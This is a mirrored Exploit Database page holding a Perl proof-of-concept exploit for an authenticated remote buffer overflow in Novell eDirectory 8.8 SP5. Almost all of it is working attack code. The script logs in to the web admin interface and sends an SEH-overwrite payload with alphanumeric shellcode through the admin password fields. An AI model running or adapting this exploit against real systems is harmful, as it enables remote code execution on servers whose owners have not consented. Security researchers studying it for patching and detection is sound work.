Novell eDirectory 8.8 SP5 – (Authenticated) Remote Buffer Overflow

• Exploit Database
• 10 阅读

• 作者： His0k4 & Simo36
  日期： 2010-01-06
• 类别：

  • remote
  平台：

  • novell
• 来源：https://www.exploit-db.com/exploits/11022/

• # Exploit Title: Novell eDirectory 8.8 SP5 (Post Auth) Remote BOF Exploit (0day)
  # Date: 06/01/2010
  # Author: His0k4 & Simo36
  # Version: 8.8 SP5
  # Tested on: Windows xp sp3
  # Code :
  #!usr\bin\perl
  
  use WWW::Mechanize;
  use HTTP::Cookies;
  use HTTP::Headers;
  
  $target=$ARGV[0];
  
  if(!$ARGV[0]){
  
  print "[+] Novell eDirectory 8.8 SP5 (Post Auth) Remote BOF (0day)\n";
  print "[+] Exploit : His0k4 & Simo36\n";
  print "Usage:perl $0 [target]\n";
  print "Example : exploit.pl<http://exploit.pl> https://192.168.1.2:8030\n";
  exit();
  }
  
  
  $login_url = "$target/_LOGIN_SERVER_";
  
  $url = "$target/dhost/httpstk";
  
  # calc shellcode
  my $shellcode =
  "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJItiO9mSHi".
  "YNjyzNYIRTetxtQKOqpsgcHUKIin24OsjKkL9r8tWYVqNZWdXUL9T5PQhid2".
  "NbvqlmKH21MOLZyqT5PKXujXVuQM1NhMpuTUukYXunNmpy3MUnSPjrP8FTWi".
  "n4wKTUKPjNnMxZb0MpGl2U2kxqzXFu2RSn8uLuMONjHekOYoSnxeCEvuWNpp".
  "LbDpXQwJJoJtNQ1bONWT2pfYK64XCnLykBMOY5m5scooOMxq4UwmqNBY0Nb4".
  "yEIirUQlkYMvhOXbLuNOrWJLpVVYou3toMlGwVhvnFnqSVIzCoygMyJKdroj".
  "mOBXx6Xyinr4eZA";
  
  my $junk = "\x41" x 468;
  my $jmp = "\x75\x06\x41\x42";
  my $seh = "Du0d"; #Univ ret
  my $align = "\x61" x 3;
  my $eax = "\x50\xC3";
  my $data1 = "\x43" x 146;
  my $data2 = "\x43" x 900;
  
  my $payload = $junk.$jmp.$seh.$align.$eax.$data1.$shellcode.$data2;
  
  ########Change Admin info########
  
  $username = "Admin.context";
  
  $password = "passwd";
  
  #########################################
  
  my $mechanize = WWW::Mechanize->new();
  $mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));
  $mechanize->timeout($url_timeout);
  
  #Login
  print "[x] Sending User & pass...\n";
  $res = $mechanize->request(HTTP::Request->new('GET', "$login_url"));
  
  $mechanize->submit_form(
  
  form_name => "authenticator",
  
  fields => {
  
  usr => $username,
  pwd => $password},
  
  button => 'Login');
  
  #vuln occurring
  print "[x] Sending Exploit...\n";
  $res = $mechanize->get("$url");
  print "[x] Exploit Sent!\n";
  $mechanize->submit_form(
  
  fields => {
  
  sadminpwd => $payload,
  verifypwd => $payload}
  );